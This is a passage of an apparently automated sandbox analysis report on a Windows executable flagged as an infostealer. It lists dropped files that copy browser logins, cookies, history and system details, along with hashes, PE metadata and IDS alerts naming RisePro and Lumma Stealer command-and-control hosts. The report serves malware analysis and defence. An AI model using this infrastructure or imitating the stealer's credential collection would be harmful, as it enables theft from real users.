SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	7.608880945287504
Encrypted:	false
SSDEEP:	12288:VExdRcut5khzisOG3eD8zN4mbANhSfmP5xbS8Ejv:VEKutkp3J/bWhTXbSv
MD5:	F7A5C03E582FC4A5034DA5FA422A0F6C
SHA1:	3425C4A4DBE5F82CA89BF9F3642132DBEE5DD30C
SHA-256:	C3A9AB0FBF5CBBEC8E2C28A168D8F0C485F6CFA9FDDD046C94F4704453EE85EE
SHA-512:	6B4B198910CAD2417AA8C2447D18260ABCD096218001F39FB855F02D27CC44A512BF3BEC04928467592A2651A6D82C9E8D8EAE81B6269133AA7BA3BAC749A09D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L...M.rf...............'.........................@..........................`............@..................................l..<............................@.......K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data................h..............@....reloc.......@... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\YN77R9Xqtqt0History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\ZBGIzoCvJpJYWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\f6uxhjQDDMXqLogin Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\jfbA5OGUQkXvWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\kDUu8k2pH1QBHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\kl0jrgyIxoShWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\s0OSu97fPHGIWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO\Cookies\Chrome_Default.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO\information.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6434
Entropy (8bit):	5.490321832583075
Encrypted:	false
SSDEEP:	96:x6OxMJIRRkicT4Aisph+9hcmQ7IAUIKngmHKGANUbg3x:xP2ivAtphWhcmQ7IJFnrqzB
MD5:	32F4C295587189D37B98AB4424B5BB25
SHA1:	9212C66CE3DDCF0181E2EDE74B15B78101DDA847
SHA-256:	D01F1A56E5FF9849C804C05889D10C3AC160B8D6144898C1CFF6C77785DC7D03
SHA-512:	3000E30FE734A4665FE6C450579D928066338F3BF77B7544E75DAB1690A901404406AF2E36C842DA2117797403A89462D5F0C39A653C595F7467CED2C5A74945
Malicious:	false
Preview:	Build: default_19..Version: 2.0....Date: Thu Jun 20 00:49:08 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 951bc42b81b7f90c0656b8417744dd87....Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO....IP: 8.46.123.33..Location: US, New York..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 932923 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 20/6/2024 0:49:8..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe [776

C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO\passwords.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO\screenshot.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	672523
Entropy (8bit):	7.923286019527118
Encrypted:	false
SSDEEP:	12288:KVeAAvjLRdLVHg/7wrGWfpfhGZCCOkr2U0T8ZiE94FA9InTv1:mv83RdLVHY7y3fth6Oe0giEKT9
MD5:	BDF210A3ECB2381955759F81ED6564D8
SHA1:	C7190E9564E0FBC1018A8F6E17860679E667952B
SHA-256:	D47E1C38A82768BADAE6004541B94BB4BBC18E9825F974DE46EB45E78BBC5706
SHA-512:	099062426146B77DFC2B0842BDBDB6EA72B3F3C5FD99D9C0CA6C4020DDF46CE4613B76DF958B5B93E1357CB6CEDFCB542ACD7146AB8B20EF7B8CC69B885AED82
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.....G....y....;.5.....U.=3...o.Q..y.$. <T.].AB./...$......G.".t.H.. &.....#..2w.#..Z...."..<.B.Y_...s..i.<>....s..Q......I.......Y0./.O.....>.h?.oBf*..{M..8.9f....I..>\`..4.......\|..E1..'..8\|.J....b.....t....a.c..{..#.9.G....s.M..G...../...i.Y$...(f......;.J......{n_4.w..2.....n.G....e..".......`.m......y.M......?...7-....l(..3.{C.7.....7.E.}..-.........^?.........z..}.[....u...k..~m;.Z.z.y.5s...._3..;..J..^.V....1...3/....\|......X...k...zE.$s..i....9.=39?{H....xf.K.Y...../+h=s..ml.K.N...g.\|i.}.%..bU...[y.e%........r.0..{..if.KRw..Sg.......cZ...W.tyZ.kV.q%.\...<..}a....t.Y_F....c.!.+..8../...zv...{}...ml......s..k.W..........2......f.:?u.<..5../.V.;{.[.V..b......H.......?...(....3..{>s.....\.{...9..\|f.s........3.0..........]...\|n...2_.[...b...n.c.+w....t.{.W...s;..y.z.N.n.....s...q.@n.n.w.c^.....Y....%.Z}..EN..3V.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.474045073054867
Encrypted:	false
SSDEEP:	6144:8IXfpi67eLPU9skLmb0b4DWSPKaJG8nAgejZMMhA2gX4WABl0uNGdwBCswSby:BXD94DWlLZMM6YFHM+y
MD5:	D87BAD356F8A4C10E8D6399093E3EAA5
SHA1:	F07A8CD14C3959C9B2C1906DC3E2118D7211EAE0
SHA-256:	9A87838AA8B05D3A3A5E66735CF13DE1F399296141A548D000FB07295C5F960D
SHA-512:	7A1B627447554E1E163735F29BB05A2554B4B1D2F04E8A84E90A928DA6F9739162B36184708807BE7524937C14EE38EAE2D12A3FF3EDDCB26085EF8880642A01
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.om*..................................................................................................................................................................................................................................................................................................................................................z.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946661021830625
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1kBeqS7E3z.exe
File size:	1'885'184 bytes
MD5:	9f7d8785aa5e359848ebe4d771f3de8d
SHA1:	70161505853a4cb3b2dc7eb690bde8b0f23b4d82
SHA256:	9cf43d480f6319717934b1a3f97682a4454c1742e2409aa416ba719e606c34ca
SHA512:	b26659c8e24baf0b489198eb28aafa4e29b5728432f522d22202fb5c3d288bd2e33aec88feca1d84b56d42f2dbb369ef517c37815f2c216bae4722bd5dd7700e
SSDEEP:	49152:HFsPqXkdAgMR5MihEfpi6gm+tiS/g076kCW:HuPvMvqfpngm+tiS/g07+
TLSH:	E3952310F591C472D866213346B9ABB65B7DB4304F6159CFA3802E7EAF303D2EB36166
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]../]../]../....L../......./....K../.S..O../.S..H../....T../]../.../.S...../.P..\../.P..\../Rich]../................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40b7b9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66720B1F [Tue Jun 18 22:33:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	99046e3afc60e2ca10c62342349ab573

Entrypoint Preview

Instruction
call 00007FB82CD787A7h
jmp 00007FB82CD77E5Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FB82CD77FFBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FB82CD77FECh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FB82CD77FEEh
add edx, 28h
cmp edx, esi
jne 00007FB82CD77FCCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FB82CD77FDBh
push esi
call 00007FB82CD78AADh
test eax, eax
je 00007FB82CD78002h
mov eax, dword ptr fs:[00000018h]
mov esi, 005CC094h
mov edx, dword ptr [eax+04h]
jmp 00007FB82CD77FE6h
cmp edx, eax
je 00007FB82CD77FF2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FB82CD77FD2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FB82CD77FE9h
mov byte ptr [005CC098h], 00000001h
call 00007FB82CD782A3h
call 00007FB82CD7B0F0h
test al, al
jne 00007FB82CD77FE6h
xor al, al
pop ebp
ret
call 00007FB82CD87BD0h
test al, al
jne 00007FB82CD77FECh
push 00000000h
call 00007FB82CD7B0F7h
pop ecx
jmp 00007FB82CD77FCBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [005CC099h], 00000000h
je 00007FB82CD77FE6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36c1c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1cd000	0x1fec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x34ba8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x34ae8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c000	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2ae50	0x2b000	aaa197b1c105e783b7bc8d85e381cfdc	False	0.5567825672238372	data	6.641586179307021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0xb35e	0xb400	62512d595021c3cba5e8750804c23b8c	False	0.42135416666666664	OpenPGP Public Key Version 3	5.027785454440532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x38000	0x194ca8	0x193c00	644444adc2d4f17fdbe0a83a3ec168bb	False	0.9977245791408669	data	7.999343954686888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1cd000	0x1fec	0x2000	821a1a1ebed2f2a40131a3507b7fe88b	False	0.7606201171875	data	6.547523960644294	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

ADVAPI32.dll

GetNumberOfEventLogRecords

KERNEL32.dll

CreateFileW, HeapSize, WriteConsoleW, CloseHandle, WaitForSingleObject, CreateThread, VirtualAlloc, GetCurrentThreadId, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetProcessHeap, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetModuleHandleExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, HeapAlloc, HeapFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, SetEndOfFile

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/20/24-06:49:25.377604	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49778	5.42.67.8	192.168.2.4
06/20/24-06:49:01.492406	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49732	50500	192.168.2.4	5.42.67.8
06/20/24-06:49:15.750299	UDP	2053676	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (falseaudiencekd .shop)	60625	53	192.168.2.4	1.1.1.1
06/20/24-06:49:15.769416	UDP	2053674	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (raiseboltskdlwpow .shop)	53564	53	192.168.2.4	1.1.1.1
06/20/24-06:49:15.713361	UDP	2053680	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (feighminoritsjda .shop)	57326	53	192.168.2.4	1.1.1.1
06/20/24-06:49:05.398748	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49732	5.42.67.8	192.168.2.4
06/20/24-06:49:02.057189	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49732	5.42.67.8	192.168.2.4
06/20/24-06:49:15.689890	UDP	2053682	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (marathonbeedksow .shop)	61750	53	192.168.2.4	1.1.1.1
06/20/24-06:49:15.678105	UDP	2053672	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (justifycanddidatewd .shop)	57238	53	192.168.2.4	1.1.1.1
06/20/24-06:49:23.122745	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49772	5.42.67.8	192.168.2.4
06/20/24-06:49:05.192849	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49732	50500	192.168.2.4	5.42.67.8
06/20/24-06:49:16.671807	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49751	5.42.67.8	192.168.2.4
